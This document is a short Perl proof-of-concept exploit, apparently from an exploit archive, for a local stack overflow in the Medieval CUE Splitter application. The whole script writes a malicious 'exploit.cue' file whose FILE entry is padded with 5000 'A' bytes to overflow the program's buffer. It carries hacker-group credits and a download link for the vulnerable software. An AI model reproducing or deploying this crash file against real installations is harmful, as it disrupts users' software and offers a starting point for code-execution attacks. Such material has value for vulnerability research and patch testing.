Medieval CUE Splitter Stack Overflow

`#!/usr/bin/perl  
#Medieval CUE Splitter Local Stack Overflow PoC  
# By ViRuS_HaCkErS  
# Big THnx to THE DOOM FINAL BLUE HACKER ALL SPIDERS TEAM  
# down: http://www.medieval.it/sw/cuesplitter_setup.exe  
my $header1=   
"\x46\x49\x4c\x45\x20\x22";  
my $header2=  
"\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20".  
"\x54\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32".  
"\x33\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31".  
"\x20\x30\x30\x3a\x30\x30\x3a\x30\x30";  
my $crash = "\x41" x 5000;  
open(my $playlist, "> exploit.cue");  
print $playlist $header1.$crash.$header2 ;  
  
close $playlist;  
  
  
`